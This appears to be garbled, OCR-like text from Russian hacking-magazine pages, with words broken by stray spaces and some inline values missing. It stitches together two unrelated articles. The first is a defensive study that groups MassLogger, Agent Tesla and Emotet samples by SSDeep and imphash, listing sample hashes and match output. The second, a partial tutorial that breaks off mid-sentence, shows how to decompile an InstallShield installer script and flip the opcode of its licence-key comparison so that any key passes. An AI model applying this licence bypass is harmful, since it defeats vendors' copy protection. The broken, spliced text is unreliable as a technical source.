им  вет ки  реес тра,  под гру жаемые  биб лиоте ки,  IP‐адре са,  бай товые  пос‐ 
ледова тель нос ти,  вер сии  ПО,  триг геры  даты  и  вре мени,  задей ство ван ные
пор ты, URL.

Рас смот рим  «пирами ду боли» для ата кующе го,  при думан ную ана лити ком
в  области  информа цион ной  безопас ности Дэвидом Бьян ко. Она  опи сыва ет
уров ни  слож ности  инди като ров  ком про мета ции,  которые  зло умыш ленни ки
исполь зуют  при  ата ках.  Нап ример,  если  ты  зна ешь MD5‐хеш  вре донос ного
фай ла,  его мож но  доволь но  лег ко  и  при  этом  точ но  обна ружить  в  сис теме.
Одна ко  это  при несет очень мало боли  ата кующе му — дос таточ но добавить
один бит информа ции к фай лу вре доно са, и хеш изме нит ся. Таким обра зом
вирус может пересе лять ся бес конеч но, и каж дая новая его копия будет иметь
отличный от дру гих экзем пля ров хеш.

«Пирами да боли» Дэвида Бьян ко

Ес ли  ты  име ешь  дело  с  мно жес твом  вре донос ных  образцов,  ста новит ся
понят но, что боль шинс тво из них по сути сво ей не уни каль ны. Зло умыш ленни‐ 
ки неред ко заимс тву ют или покупа ют исходни ки друг у дру га и исполь зуют их
в сво их прог раммах. Очень час то пос ле появ ления в паб лике исходных кодов
какого‐либо  вре донос ного  ПО  в  интерне те  всплы вают  мно гочис ленные
подел ки, сос тря пан ные из дос тупных фраг ментов.

Как же опре делить схо жесть меж ду раз ными образца ми мал вари одно го
семей ства?

Для поис ка такого сходс тва сущес тву ют спе циаль ные алго рит мы под сче та
хеша,  нап ример  нечет кое  (fuzzy)  хеширо вание  и  хеш  импорти руемых  биб‐ 
лиотек  (imphash). Эти два под хода исполь зуют раз ные методы обна руже ния
для  поис ка  пов торно  встре чающих ся  фраг ментов  вре донос ных  прог рамм,
при над лежащих  к  опре делен ным  семей ствам.  Рас смот рим  эти  два  метода
под робнее.

«НЕЧЕТКИЙ» ХЕШ — SSDEEP
Ес ли  в  крип тогра фичес ких  хеш‐фун кци ях  суть  алго рит ма  сос тоит  в  том,  что
при малей шем изме нении  вход ных  дан ных  (даже одно го  бита  информа ции)
их  хеш  так же  зна читель но  изме няет ся,  то  в  нечет ких  хешах  резуль тат меня‐ 
ется нез начитель но или не изме няет ся вов се.  То есть нечет кие  хеши более
устой чивы  к  неболь шим  изме нени ям  в  фай ле.  Поэто му  подоб ные  фун кции
поз воля ют  нам ного  более  эффектив но  обна ружи вать  новые  модифи кации
вре донос ного ПО и не тре буют боль ших ресур сов для рас чета.

Не чет кое  хеширо вание — это метод,  при  котором прог рамма,  такая  как,
нап ример,  SSDeep,  вычис ляет  кусоч ные  хеши  от  вход ных  дан ных,  то  есть
исполь зует  так  называ емое  кон текс тно  вызыва емое  кусоч ное  хеширо вание.
В англо языч ных источни ках этот метод называ ется context triggered piecewise
hashing (CTPH aka fuzzy hashing).

На  самом  деле  клас сифика ций  нечет ких  хешей  доволь но  мно го.  Нап‐ 
ример, по механиз му работы алго рит мы делят ся на piecewise hashing, context
triggered piecewise hashing, statistically improbable features, block‐based rebuild‐
ing.  По  типу  обра баты ваемой  информа ции  их  мож но  раз делить  на  побай‐ 
товые,  син такси чес кие  и  семан тичес кие.  Но  если  речь  заходит  о  нечет ких
хешах, то это, как пра вило, CTPH.

Ал горитм  SSDeep  раз работан  Джес си  Корн блю мом  для  исполь зования
в компь ютер ной кри мина лис тике и осно ван на алго рит ме spamsum. SSDeep
вычис ляет  нес коль ко  тра дици онных  крип тогра фичес ких  хешей  фик сирован‐ 
ного раз мера для отдель ных сег ментов фай ла и тем самым поз воля ет обна‐ 
ружи вать  похожие  объ екты.  В  алго рит ме  SSDeep  исполь зует ся  механизм
сколь зящего окна  . Его еще мож но наз вать рекур сивным кусоч ным
хеширо вани ем.

rolling hash

Час то CTPH‐подоб ные хеши лежат в осно ве алго рит мов локаль но чувс тви‐ 
тель ных  хешей  —  locality‐sensitive  hashing  (LSH).  В  их  задачи  вхо дит  поиск
бли жай ших  соседей  —  approximate  nearest  neighbor  (ANN),  или,  про ще
говоря,  похожих  объ ектов,  но  с  чуть  более  высоко уров невой  абс трак цией.
Алго рит мы  LSH  исполь зуют ся  не  толь ко  в  борь бе  с  вре донос ным  ПО,  но  и
в  муль тимедиа,  при  поис ке  дуб ликатов,  поис ке  схо жих  генов  в  биоло гии
и мно го где еще.

Продолжение статьи →
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КАК СРЕДСТВА ЗАЩИТЫ ЛОВЯТ
И КЛАССИФИЦИРУЮТ МАЛВАРЬ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Алгоритм SSDeep
Как работа ет SSDeep? На пер вый взгляд, все доволь но прос то:

он раз деля ет файл на более мел кие час ти и изу чает их, а не файл в целом;•
он может опре делить фраг менты фай лов, которые име ют пос ледова тель‐ 
нос ти оди нако вых бай тов, рас положен ных в схо жем поряд ке, либо бай ты
меж ду  дву мя  пос ледова тель нос тями,  где  они  могут  раз личать ся  как  по
зна чению, так и по дли не.

•

Virus  Total  исполь зует  SSDeep,  который  выпол няет  нечет кое  хеширо вание
на заг ружа емых поль зовате лями фай лах. При мер — по  .ссыл ке

Virus Total исполь зует SSDeep

Итак,  руб рика  э‐э‐экспе римен ты!  Возь мем  по  18  образцов  исполня емых
фай лов  нашумев ших  вирусяк:  сре ди  них  —  MassLogger  (име на  образцов
будут начинать ся с аббре виату ры ML), Agent Tesla (AT) и Emotet (EMO). Толь ко
вот где мы най дем такое количес тво мал вари? Да на  .ба заре

Те перь  давай  пос мотрим,  что  же  мы  заг рузили  для  испы таний.  Agent
Tesla —  это  .NET‐кей лог гер  и  RAT,  под робнее  о  нем  рас ска зано  вот  в  этой

.  Emotet  —  бан ков ский  тро ян  с  воз можностью  чер веоб разно го  рас‐ 
простра нения. При  запус ке  сра зу  опре деля ет,  что  работа ет  не  в  вир туал ке,
ина че завер шает ся. MassLogger,  как и Agent Tesla, пред став ляет собой кей‐ 
лог гер. При этом он вхо дит в топ‐5 по популяр ности лета и осе ни 2020 года.
Они  оба  исполь зуют  механизм  дос тавки  вре донос ных  прог рамм  GuLoader,
который заг ружа ет зашиф рован ную полез ную наг рузку, лежащую на обыч ных
плат формах для обме на фай лами.

статье

Мы будем работать с  .EXE‐сем пла ми,  у  каж дого из испы туемых объ ектов
уни каль ная крип тогра фичес кая хеш‐сум ма SHA‐1. Перечис лим их все (коман‐ 
да для любите лей Linux:  ):shasum ML

 

 

f59a138da63769720e61e37fe52030774472db19   ML1.exe 
bd57fd4002228352bf60186562d0dde87f4f33e5   ML2.exe 
89ebb9ff3ab6c9a3330e798036bb81cec29c417f   ML3.exe 
e9029f66cc313a41b22cb922da7f52a899ac166c   ML4.exe 
1dde9710a0d780b42678f41bbc949c82f13a74af   ML5.exe 
8c635bc0aaf4214024cf7342d5f186ebf6171652   ML6.exe 
3cb9d16fa0bf3d72f12bf844e0a293d818512c54   ML7.exe 
619480abce06d5221c1dd430233fa19ff7f863b5   ML8.exe 
ab1aed403d37d2f90f2a59505b0724927790841e   ML9.exe 
65e9d26cf5e6742bdf0a772f6c9692ec533aded7   ML10.exe 
3e5b239ddab79130b5b8ffe623c6272d365774d8   ML11.exe 
c53e68fe71b695e2c7fb6c05aedb422bf5856f7b   ML12.exe 
6c610f5675f7fb4d78ca2b6e4be9ff43ba47c929   ML13.exe 
10cf5e8f60ddac43813e5b8880aa84805e4a30d8   ML14.exe 
d7a1665e425fe63054c5c836b3807f58da43948a   ML15.exe 
98e0a38ab5db61a6eb7b50f4e09556af7f46978d   ML16.exe 
2c2010e2fa02f4c70ea9dd5083026d0138f655d5   ML17.exe 
67ee652bc805fc8f5c9c653785b4d82baae0f78e   ML18.exe

С  исполь зовани ем  SSDeep  рас счи таем  кусоч ный  хеш  каж дого  из  фай лов
и  сох раним  резуль тат  в фай ле  коман дой  .
На выходе получим сле дующее:

ssdeep MassLogger/*  >  ML.ssd

 

 

 

ssdeep,1.1‐‐blocksize:hash:hash,filename

24576:   uf+B91xtspzq6wqAkSq+EQsnn3OF7dAhaG0K                               
uUKp15AkSTsn3BH0K                 ML1.exe 
24576:   DoYHyzf8WEE0us0U5xDO/qLaVGbwfyXQHHNG                               
ECcFEE0Px2qLaVuwagA               ML2.exe 
12288:   
OnaPI5TFAYwISkHXqrzcTo4BRzsWnLu8nbFNgreeWhBdgkuAgb6DxlPH9p+iq3T4   On‐
aQvwImc04Hdu8n5NgjMd26D3+lwt    ML3.exe 
12288:   lDi43RqqJKN07vvaRfdjSGM/lBp62o53T7Q+Xu9BwckDj9F2Tzhs0k‐
f3PYeD0d8t   l2UTYy7vQaDiTXuvRMxF2xr6QeIdOV    ML4.exe 
24576:   tGDh1aKoqw13WhVUSQK3+dUrSU4O5kddtp+Gyce                            
4Dx8h0USQKudUry0ite               ML5.exe 
12288:   bOr02ehwuCC3t9DDnHSHoCdK5fskDfccfUt0IY81e0cXNi/Zb0kk1uuCucUXn‐
wHY   6A2nuhe1dGPD06y0KbT/L8pnuusZdBE   ML6.exe 
24576:   uA2nuhe1dGPD06y/C0UfDcBbcIt/nTh/WeFcLQ7                            
uvu8d8Aq+BR18eMQ7                 ML7.exe 
24576:   7Lo4IwxEo1796aAkBWvn7kGg9b5rrd9S/9+                                
4nzamn7Hg9bJd92                   ML8.exe 
24576:   NGDh1aKoqw13WhVUSM6j3xwra6hPG2VM+sJRcFpoprV89                      
YDx8h0USMU3xwO6NTsJymG            ML9.exe 
24576:   KA2nuhe1dGPD06yxaG2acKrXOfIWkV353                                  
Kvu8d8AqlhkV53                    ML10.exe 
24576:   NGDh1aKoqw13WhVUS27LIQ/34mXyx7pxrkkQiD                             
YDx8h0US273f4mXyBpxrkkQiD         ML11.exe 
24576:   2MOfNQm+7K/rTpVF2RiMKt34x/rrMt2I132fq                              
5uGKDrF2RiMW34/nf                 ML12.exe 
24576:   aA2nuhe1dGPD06yMSW+M8OxwhFTTLMyQkxN                                
avu8d8AMS9MLwffMGxN               ML13.exe 
24576:   dGDh1aKoqw13WhVUSDukbAEXF5Ujj1J21g                                 
IDx8h0USKkESqj1L                  ML14.exe 
24576:   CA2nuhe1dGPD06yg199oT5gzUmRVUhxfNw                                 
Cvu8d8Ag19q+Um0hxNw               ML15.exe 
12288:   m5EaSrUQ9JakMtlDQ8zJQAqpLMyp84JiIQbTVru1YS+Fi75McDxH01YJf          
mGaSrUipM88zJ8My8IGTdSAil7tJ      ML16.exe 
24576:   OD7tjHvlHj0eU30aD5Q6/0FW//V17rmBlKLsNTy4z                          
OntjPlY3xluFw/V9rmOLsZR           ML17.exe 
12288:   zOr02ehwuCC3t9DDnHSHoCdK5fskDfccfUtlLAQ8H5AbDarsd9Qg9Iu13‐
SOMirut   SA2nuhe1dGPD06ylLAQjbj9IyMira     ML18.exe

Выг лядит пуга юще, прав да? Давай срав ним объ екты меж ду собой (в выводе
мы  пред варитель но  уда лили  дуб ли,  оста вив  уни каль ные  сов падения  меж ду
сем пла ми). Для это го исполь зуем сле дующую коман ду:

ssdeep   ‐m ML.ssd ‐s MassLogger/* > ML_COMPARE.txt 

В выводе коман ды пра вый стол бец — про цент сов падения меж ду сем пла ми.

 

 

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

| ML10.exe matches ML.ssd:ML13.exe | (49) |
| ML10.exe matches ML.ssd:ML15.exe | (49) |
| ML10.exe matches ML.ssd:ML18.exe | (49) |
| ML10.exe matches ML.ssd:ML6.exe  | (47) |
| ML10.exe matches ML.ssd:ML7.exe  | (49) |
| ML11.exe matches ML.ssd:ML14.exe | (49) |
| ML11.exe matches ML.ssd:ML5.exe  | (54) |
| ML11.exe matches ML.ssd:ML9.exe  | (52) |
| ML13.exe matches ML.ssd:ML15.exe | (50) |
| ML13.exe matches ML.ssd:ML18.exe | (50) |
| ML13.exe matches ML.ssd:ML6.exe  | (50) |
| ML13.exe matches ML.ssd:ML7.exe  | (50) |
| ML14.exe matches ML.ssd:ML5.exe  | (47) |
| ML14.exe matches ML.ssd:ML9.exe  | (47) |
| ML15.exe matches ML.ssd:ML18.exe | (49) |
| ML15.exe matches ML.ssd:ML6.exe  | (47) |
| ML15.exe matches ML.ssd:ML7.exe  | (46) |
| ML18.exe matches ML.ssd:ML6.exe  | (60) |
| ML18.exe matches ML.ssd:ML7.exe  | (49) |
| ML5.exe matches ML.ssd:ML9.exe   | (49) |
| ML6.exe matches ML.ssd:ML7.exe   | (55) |

По луча ется,  что  в  иссле дуемых  сем плах  при сутс тву ют  ста биль но  кочу ющие
учас тки  кода,  которые обес печива ют  схо жесть. Пос коль ку  такой  вывод,  ска‐ 
жем  чес тно,  мало информа тивен,  для  наг ляднос ти  изоб разим  свя зи  в  виде
гра фа.

Свя зи иссле дуемых сем плов

Из  18  объ ектов  ока залось  все го  восемь  никак  не  свя зан ных  меж ду  собой
образцов,  но  это  пока...  Тем  не  менее  мож но  сме ло  утвер ждать,  что  мы
выяви ли целое семей ство вре доно сов. Теперь про тес тиру ем осталь ные объ‐ 
екты из дру гих групп и срав ним резуль таты.

Сра зу  изоб разим  граф  связ ности  для  образцов  Agent  Tesla.  Не  будем
перечис лять хеш‐сум мы образцов, а сра зу прис тупим к срав нению: сна чала
фай лов меж ду собой, затем с сем пла ми MassLogger.

Граф связ ности для образцов Agent Tesla

Для Agent Tesla так же обна руже но два семей ства вза имос вязан ных сем плов
и десять воинов‐оди ночек. Что даль ше? Срав ним SSDeep‐хеши MassLogger
с  объ екта ми  Emotet.  Пус то,  нет  сов падений.  А  если  с  Agent  Tesla?  Стро им
граф.

Срав нение MassLogger с Agent Tesla

Бин го! Сов падения есть, и вза имоп роник новение фраг ментов кода семей ств
Agent Tesla и MassLogger доказа но.

Од нако не всег да  у иссле дова теля дос таточ но сем плов и образцов вре‐ 
доно сов дру гих семей ств — нап ример, для семей ства Emotet. На гра фе вид‐ 
но, что из всех 18 объ ектов 13 так или ина че свя заны меж ду собой, а сем плы
EMO3, EMO9, EMO11, EMO15 и EMO18 не наш ли «дру зей», и их мы отра жать
на рисун ке не ста нем.

Вза имос вязи объ ектов на гра фе

Итак,  что  же  в  ито ге  у  нас  получи лось?  У  групп MassLogger  есть  пять  объ‐ 
ектов,  свя зан ных  с  объ екта ми  Agent  Tesla.  Почему  так  выш ло?  Во‐пер вых,
это два кей лог гера, у них есть пересе чения в фун кци ональ нос ти. Во‐вто рых,
они оба исполь зуют один и тот же заг рузчик. В каж дом из тес тов находи лись
свя зи  (то  есть  сходс тва)  меж ду  объ екта ми  более  чем  на  50%.  Ины ми  сло‐ 
вами, из 18 образцов так или ина че были свя заны меж ду собой как минимум
девять. Сре ди сем плов наш лись по мень шей мере две груп пы свя зан ных объ‐ 
ектов, а у Emotet — сра зу три груп пы. Теперь давай рас смот рим дру гой тип
хеш‐фун кций, и, воз можно, мы най дем новые вза имос вязи.

Продолжение статьи →

https://www.virustotal.com/gui/file/8b2e701e91101955c73865589a4c72999aeabc11043f712e05fdb1c17c4ab19a/details
https://bazaar.abuse.ch/browse/
https://habr.com/ru/company/group-ib/blog/479120/
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ХЕШ ИМПОРТИРУЕМЫХ БИБЛИОТЕК — IMPHASH
Imphash рас шифро выва ется как  import hash — «хеш импортов», то есть всех
импорти руемых прог раммой биб лиотек, про писан ных в исполня емом фай ле
Windows  Portable  Executable  (PE).  Что бы  вычис лить  imphash,  все  импорти‐ 
рован ные биб лиоте ки и свя зан ные с ними фун кции выг ружа ются в стро ковом
фор мате,  объ еди няют ся,  а  затем  крип тогра фичес ки  хеширу ются.  Virus  Total
так же выс читыва ет по это му алго рит му хеш для PE‐фай лов.

Virus Total так же исполь зует imphash

Ес тес твен но, зло умыш ленни ки зна ют о таком алго рит ме и могут его обой ти,
сде лав  свой  вирус  более  модуль ным.  Нап ример,  мож но  заг ружать  каж дый
модуль в память толь ко при необ ходимос ти или динами чес ки заг ружать биб‐ 
лиоте ки,  сох раняя  объ ем  импорта  нас толь ко  малым,  нас коль ко  поз воля ет
ком пилятор. При этом любой импорт перено сит ся в память толь ко во вре мя
выпол нения,  а  не  тран сли рует ся  в  таб лице  импорта  в  PE‐фай ле.  Вирусы
пишут люди, а люди — сущес тва ленивые, нуж но нем ного пот рудить ся, что бы
перевес ти работу прог раммы в такой фор мат.

Пе рей дем  к  прак тике  и  най дем  вза имос вязи  сре ди  наших  иссле дуемых
групп  объ ектов.  Нач нем  с  MassLogger.  Появи лись  ли  новые  свя зи?  Да,  мы
получи ли три груп пы свя зан ных объ ектов — их imphash иден тичны!

Три новые груп пы свя зан ных объ ектов с общи ми imphash

Изоб разим  общие  imphash  фай лов  в  виде  гра фа.  Тут  со  все ми  объ екта ми
получа ется пол носвяз ный граф, так что не суди стро го, если какого‐то реб ра
гра фа не будет! :)

Об щие imphash фай лов

Срав ним с пре дыду щим гра фом из сек ции экспе римен тов с SSDeep.

Срав нение гра фов

Те перь объ еди ним два получив шихся гра фа в груп пы по их вер шинам.

Объ еди ним оба гра фа

По луча ется, что сре ди 18 образцов MassLogger не наш ли себе «дру зей» все‐ 
го  три  объ екта:  ML1,  ML2  и  ML4,  а  это  все го  17%  от  обще го  количес тва.
Таким обра зом, исполь зуя две тех ники, мы выяви ли и под твер дили вза имос‐ 
вязи вре донос ных сем плов и их «груп пиров ки».

Да лее  раз берем  осталь ные  семей ства  вре донос ных фай лов.  Agent  Tesla
по imphash раз делил ся на две боль шие груп пы.

Де ление Agent Tesla по imphash

Срав ним с пре дыду щим гра фом из сек ции тес тов с SSDeep.

Срав нение гра фа с пре дыду щим

Объ еди ним два получив шихся гра фа в груп пы по их вер шинам.

Объ еди няем два гра фа в груп пы по их вер шинам

Imphash  допол нил  свя зи,  которые  были  выяв лены  на  эта пе  тес тирова ния
с  SSDeep,  и  про демонс три ровал  более  целос тную  кар тину.  Иден тичный
с левой груп пой imphash при сутс тву ет в образцах груп пы MassLogger — ML5,
ML9, ML11 и ML14.

Да лее рас смот рим груп пу мал вари Emotet.

Груп па Emotet

Срав ни  с  пре дыду щим  гра фом  из  сек ции  тес тов  с  SSDeep.  Напом ним,  что
сем плы  EMO3,  EMO9,  EMO11,  EMO15  и  EMO18  не  наш ли  себе  «дру зей»
в прош лом тес те.

Объ еди ним два получив шихся гра фа в груп пы по их вер шинам.

Срав ним гра фы, объ еди нив их по вер шинам

Опа!  Недаром  червь  Emotet  получил  такое  рас простра нение.  В  наш  тест
попали  доволь но  хит рые  образцы,  у  которых,  судя  по  все му,  в  явном  виде
не  при сутс тву ет  таб лица  импортов,  а  сле дова тель но,  отсутс тву ет  imphash.
Ско рее  все го,  в  них  исполь зует ся  одна  из  тех ник,  которые мы  перечис ляли
в раз деле об этом типе хеширо вания.

Ана лизи руя  гра фы  вза имос вязей,  мож но  заметить,  что  бла года ря  ком‐ 
бинации imphash и SSDeep мы получи ли новые вза имос вязи меж ду объ екта‐ 
ми, тем самым зна читель но рас ширив базу зна ний об иссле дуемых образцах.
И  это  зна ние  поз воля ет  с  отно ситель но  малыми  зат ратами  эффектив но
допол нять  сиг натур ный  ана лиз  вре донос ного  ПО  дос таточ но  надеж ными
отпе чат ками образцов по клас су, семей ству или типу мал вари.
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Как  гла сит  народ ная  муд рость,  театр
начина ется  с  вешал ки,  а  прог рамма  —
с инстал ляции. Но что делать, если инстал‐ 
лятор не жела ет запус кать ся или, хуже того,
не  хочет  уста нав ливать  при ложе ние?
Любой читатель «Хакера» уве рен но ска жет:
ломать! И будет прав. Сегод ня мы погово‐ 
рим о  том,  как сде лать это прос то, быс тро
и без лиш них уси лий.

Здравс твуй те, мои юные ленивые друзья. Приз най тесь чес тно: основная при‐ 
чина,  по  которой  вы  чита ете  этот  текст, — желание  научить ся  ломать  прог‐ 
раммы  фор сирован ным  методом,  минуя  мутор ную  и  скуч ную  ста дию  осво‐ 
ения мат части и все воз можных ману алов? Не нуж но это го стес нять ся, и пусть
кто‐нибудь ска жет, что в этом есть что‐то пло хое. Я и сам такой, всег да ста‐ 
раюсь решать задачу наибо лее прос тым и инту итив ным методом. Ибо нель зя
объ ять  необъ ятное,  а  пред варитель ное  шту диро вание  теории  (которой
по  каким‐то  воп росам  вооб ще  может  не  ока зать ся  в  сво бод ном  дос тупе)
впол не спо соб но сде лать сроч ную задачу неак туаль ной. Поэто му я ста раюсь
сле довать  совету  ста рого  англий ско го  филосо фа:  спер ва  всег да  ста рай ся
делать  все  наибо лее  прос тым  путем,  а  уж  если  не  получа ется  —  начинай
грызть ману алы.

Поп робую объ яснить этот прин цип на при мере прав ки одно го инстал ляци‐ 
онно го пакета. На днях меня поп росили поковы рять одну ста рую прог рамму.
Прог рамма дав ным‐дав но была куп лена совер шенно офи циаль но и слу жила
верой и прав дой, пока не приш лось ее пере уста нав ливать. При пере уста нов‐ 
ке выяс нилось, что, во‐пер вых, она не уста нав лива ется на сов ремен ные вер‐ 
сии  Windows,  а  во‐вто рых,  все  име ющиеся  серий ные  номера  под ходят,
за исклю чени ем одно го — лицен зион ного  кода  к  неболь шой вспо мога тель‐ 
ной биб лиоте ке, без уста нов ки которой прог рамма отка зыва ется нор маль но
фун кци они ровать.  Пос коль ку  за  дав ностью  лет  свя зать ся  с  раз работ чиком
не  пред став ляет ся  воз можным,  я  решил  поковы рять  уста нов щик,  что бы
разоб рать ся, какого рож на ему надо для нор маль ной инстал ляции.

Раз  уж мы соб рались идти  по пути  наимень шего  соп ротив ления,  то  пер‐ 
во‐напер во  я  открыл  уста новоч ный  пакет  (самодос таточ ный  модуль  .exe)
даже не в дизас сем бле ре, а прос то в Hex‐редак торе, чис то поин тересо вать‐ 
ся наличи ем тек ста сооб щения об ошиб ке. При этом силь но не расс тро ился,
не  най дя  этой  стро ки  (и  вооб ще  никаких  строк  сопутс тву ющих  сооб щений)
ни в юни код ном, ни в обыч ном виде.

Ну что ж, не очень‐то и хотелось, зато попут но кра ем гла за я зап риметил
ресурс    с  харак терной  сиг натурой  .  В  прин ципе,  раз бор
пакетов  InstallShield  —  рас простра нен ная  задача,  и  решение  ее  хоть
по  понят ным  при чинам  и  не  докумен тирова но,  но  при  желании  находит ся
поис ком  по  спе циаль ным  форумам.  Я,  воз можно,  запилю  об  этом  дру гую
статью,  но  в  дан ном  слу чае  мы  усло вились,  что  курение  ману алов  не  наш
метод.

[0] InstallShield

Вмес то  пог ружения  в  них  я  для  очис тки  совес ти  попытал ся,  пока  висит
окно  с  пре дуп режде нием  о  невер ном  серий нике,  под клю чить ся  к  запущен‐ 
ному  про цес су  инстал ляции  через  име ющий ся  под  рукой  ОllyDbg.  Тоже
без  осо бого  энту зиаз ма  и  боль ших  надежд,  ибо  нап рочь  забыл,  как  отла‐ 
живать интер пре татор  InstallShield  (одна ко прек расно пом ня, что это весь ма
мутор ная и неин терес ная задача). По сути, я даже и при соеди нять ся не стал,
уви дев  в  спис ке  год ных  для  при соеди нения  про цес соров  под  заголов ком
окна с пре дуп режде нием   труд нопро изно симую мешани‐ 
ну шес тнад цатерич ных букв и цифр.

MSIEXEC ‐Embedded

На  самом  деле,  конеч но,  рас шифро вав  эту  мешани ну,  я  бы  мог  опре‐ 
делить  наз вание  под катало га  пап ки  ,  из  которой  сей час  выпол няет ся
интер пре тация инстал ляци онно го скрип та, но зачем все усложнять? Я прос то
открыл пап ку   и обна ружил в ней три вещи.

Temp

Temp
1. Па кет MSI, который инстал лятор сра зу родил при инстал ляции.
2. Вре мен ную пап ку с рядом харак терных для InstallShield DLL.
3. Са мое глав ное — сам инстал ляци онный скрипт  .setup.inx

Те перь  неболь шое  лиричес кое  отступ ление.  В  дан ном  слу чае  отладчик  —
совер шенно лиш нее зве но в тех нологи чес кой цепоч ке. Пов торяю: я запус тил
его прос то на вся кий слу чай и (как будет ска зано ниже) поз же не исполь зовал
сов сем.  Гораз до  более  быс трым,  а  глав ное,  точ ным  путем  ста ло  бы  отсле‐ 
жива ние фай лового вво да‐вывода про цес са инстал ляции. Для это го сущес‐ 
тву ет прос тая и рас простра нен ная ути лита ProcessMonitor (для ста рых вер сий
вин ды  FileMonitor).  Про ана лизи ровав  ее  весь ма  уве сис тый  лог,  мож но
было бы опре делить и пап ку, и скрипт, и момент рож дения пакета MSI.

Как показал более деталь ный ана лиз, про цесс зачем‐то был сде лан трех‐ 
сту пен чатым: EXE родил MSI, который родил дру гой MSI, который, собс твен‐ 
но,  и  про извел  на  свет  содер жимое  иско мого  под катало га  с  инстал ляци‐ 
онным  скрип том.  Но  на  этом  лирику  я  закан чиваю,  под водим  итог:  у  нас
появил ся  чис тый  пакет  MSI,  рав нознач ный  инстал ляци онно му  EXE,  и  собс‐ 
твен но  инстал ляци онный  скрипт  ,  в  котором  зашита  вся  логика
инстал ляции, как она есть.
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С это го момен та  задача  при обре ла  опре делен ность.  Убе див шись  в  том,
что  MSI  дей стви тель но  пол ностью  рав нозна чен  исходно му  инстал лятору,
который, по сути, был обер ткой над ним, я при нял ся его пот рошить. Фор мат
MSI  хоть  и  докумен тирован  (при чем  по  его  спе цифи кации  даже  име ются
ману алы от самой Microsoft), но наш девиз, напоми наю, лень и еще раз лень.
Нам  неког да  ковырять  муд реные  и  кос ноязыч ные  англий ские  тех ничес кие
опи сания,  пол ные  неточ ностей  и  непонят ных  тер минов,  нам  надо  получить
резуль тат сра зу и с минималь ными тру дозат ратами.

По это му берем обыч ный архи ватор 7z и, не мудрствуя лукаво, откры ваем
им пакет MSI. Наб люда ем мно го инте рес ного: в час тнос ти, внут ри лежит файл
.cab,  содер жащий  в  себе  все‐все‐все  фай лы  и  биб лиоте ки,  которые  рас‐ 
паковы вают ся,  если  серий ные  номера  и  лицен зион ные  коды  вне зап но
подош ли.  Если  бы  перед  нами  сто яла  задача  не  кор рек тно  инстал лировать
пакет,  а  прос то  най ти  недос тающий  для  работы  файл,  то  мож но  было  бы
с чис тым сер дцем бро сать даль нейшие рас копки и идти пить пиво.

Од нако,  нес мотря на лень, мы все‐таки ответс твен но под ходим к  задаче
и идем до кон ца: добива емся чес тной инстал ляции пакета с про писы вани ем
всех  путей,  клю чей  реес тра,  регис тра ции  кон тро лов  и  про чих  неоче вид ных
дей ствий,  совер шаемых  инстал лятором.  А  поэто му  потер пим  еще  нем ного:
нам  пред сто ит  пре одо леть  cамую  неп рият ную  ста дию  про цес са.  Неп рият‐ 
ность ее зак люча ется в том, что мы вне зап но не обна ружи ваем в спис ке рас‐ 
пакован ных фай лов инстал ляци онно го скрип та  , а зна чит, если нам
при дет в голову пра вить его в инстал ляци онном пакете, это будет неп росто.
Завязы вая  этот  узе лок  себе  на  память,  с  тяжелым  чувс твом  начина ем  раз‐ 
бирать сам инстал ляци онный скрипт.
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Пос ле  бег лого  взгля да  на  этот  самый  скрипт  мое  уны ние  уси лилось  —
вмес то  чита емо го  кода  он  целиком  сос тоит  из  мешани ны  псев дослу чай ных
сим волов. Ни уста новоч ных сооб щений, ни тек сто вых строк, вооб ще ни еди‐ 
ного  чита емо го  сло ва.  Скрипт  явно  закоди рован.  Делать  нечего,  при дет ся
все‐таки  под напрячь ся  и  поис кать  ути литы  для  его  рас кодиров ки‐деком‐ 
пиляции.

Сла ва все могу щему Гуг лю: ока зыва ется, доб рые люди уже позабо тились
об  этом  и  запили ли  чудес ную  ути литу  IsDcc,  при чем  ее  исходни ки  даже
выложе ны  на  гит хабе!  Мало  того  что  она  уме ет  рас шифро вывать  закоди‐ 
рован ные  скрип ты  (это  называ ется  scramble/unscramble),  но  еще  может
деком пилиро вать  рас шифро ван ный  скрипт  в  исходный  чита емый  код!  Ком‐ 
пилиро вать  обратно,  прав да,  не  уме ет,  но  не  все  ж  коту  мас леница,  будем
пре одо левать труд ности по мере их пос тупле ния. В общем, пос ледова тель но
рас кодиро вав  и  деком пилиро вав  инстал ляци онный  скрипт,  я  получил  чуть
боль ше мегабай та бей сикопо доб ного кода, в котором нашел иско мое мес то
про вер ки серий ника:

       00E8EE:000D:         lNumber18 = lString9 == lString17;
       00E8FB:000D:         lNumber18 = lNumber18 == 0;

             00E90A:0004:         if lNumber18 == false then goto label198 ;
 00E916:0021:         call function651("Sorry, but the license key 

that you entered is invalid.");

Как видишь, скрипт вычис ляет валид ный ключ и срав нива ет с вве ден ным юзе‐ 
ром.  Пер вая  мысль —  разоб рать ся  в  алго рит ме  его  генера ции  и  написать
свой  кей ген.  Одна ко,  мель ком  взгля нув  на  алго ритм  (нес коль ко  стра ниц
индий ско го  нес трук туриро ван ного  кода,  мес тами  бес смыс ленно го  и  бес‐ 
пощад ного),  с  негодо вани ем  отме таем  эту  идею  как  не  соот ветс тву ющую
основной  кон цепции  лениво го  взло ма.  Мы  пой дем  дру гим  путем:  прос то
поменя ем одну из трех про верок на про тиво полож ную.

Од нако  как  это  сде лать  с  минималь ными  тру дозат ратами?  Сис тему
команд интер пре тато ра мы не зна ем (мож но, конеч но, покопать IsDcc, бла го
есть  хорошо  ком менти рован ные  исходни ки),  но  и  этот  путь  черес чур  уныл
для  меня.  Обра щаю  вни мание  на  осо бен ность  деком пилиро ван ного  кода:
сле ва сто ит пара шес тнад цатерич ных цифр.

Де ком пилиро ван ный код скрип та уста нов ки

Это  вов се  не  сег менти рован ный  адрес,  как  мог ло  бы  показать ся,  а  пара
. Мель ком прос мотрев нес коль ко сосед них  команд, дела ем

пред положе ние, что   — это опкод срав нения на экви вален тность, в то вре мя
как его анта гонист (срав нение на неэк вивален тность) име ет опкод  . Подума‐ 
ешь,  бином Ньюто на,  для  подоб ного  вывода  вов се  не  обя затель но  кро пот‐ 
ливо изу чать сис тему команд. Нам оста ется  толь ко залезть Hex‐редак тором
в  ском пилиро ван ный  скрипт  и  по  нуж ному  сме щению  поп равить    на  :
теперь любой вве ден ный неп равиль ный код будет пра виль ным — то, что нам
надо!  Анс крем бим  получен ный    и  прис тупа ем  к  решению  сле‐ 
